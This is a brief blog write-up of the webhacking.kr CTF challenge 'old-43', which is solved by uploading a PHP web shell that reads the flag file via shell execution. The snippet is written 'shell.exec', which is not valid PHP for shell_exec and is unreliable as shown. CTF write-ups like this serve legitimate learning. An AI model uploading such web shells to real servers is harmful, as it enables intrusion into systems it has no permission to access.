Planet DesKel

DesKel's official page for CTF write-up, Electronic tutorial, review and etc.

12 September 2020

Webhacking.kr write-up: old-43

Link point tag
old-43 250 PHP

Hello, hello, and hello there. Welcome to my webhacking.kr CTF writeup. Today’s task is rather simple, upload a PHP web shell, and complete the challenge.

question

Just follow the instruction by creating a simple PHP file.

<?php
$output = shell.exec('cat /flag');
echo "$output";
?>

Save it as a .php file, upload it and visit the uploaded file.

solve

P/s: try decode the base64 text and that is what I thought.

tags: webhacking.kr - php

Thanks for reading. Follow my twitter for latest update

If you like this post, consider a small donation. Much appreciated. :)


Vortex


© 2020 DesKel